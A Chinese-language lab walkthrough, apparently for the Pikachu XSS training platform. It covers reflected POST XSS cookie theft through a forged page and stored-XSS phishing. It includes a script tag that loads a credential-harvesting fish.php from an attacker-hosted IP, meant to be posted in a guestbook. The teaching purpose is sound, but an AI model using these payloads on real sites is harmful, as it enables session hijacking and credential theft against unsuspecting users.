（六）反射型（POST）XSS利用：cookie获取

POST请求方式：请求的数据不在URL中传输，无法直接通过URL获取

1、账号密码登录：admin/123456



2、随便输入数值，提交表单


3、拦截请求




伪造的页面代码：post.html

需要修改提交到的存在漏洞地址和 后台 pkxss 地址






用户在登录状态下点击伪造的页面链接：
http://192.168.3.101/pkxss/xcookie/post.html
跳转到我们定义的页面，过程中发送cookie给攻击者

获取到的cookie




页面跳转




存储型XSS利用：钓鱼攻击

需要修改fish.php代码中的pkxss     

注意: PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效，因此该功能不适用于 CGI 版本（且phpstudy的nts模式下也不不能使用)

不要使用phpstudy_pro 要切换成 phpstudy找到php版本不带有nts格式的




身份验证的弹窗





构建代码：

<script src="http://192.168.0.234:8000/pkxss/xfish/fish.php"></script>


输入到存储型xss留言板




不同的浏览器弹出的认证框是不一样的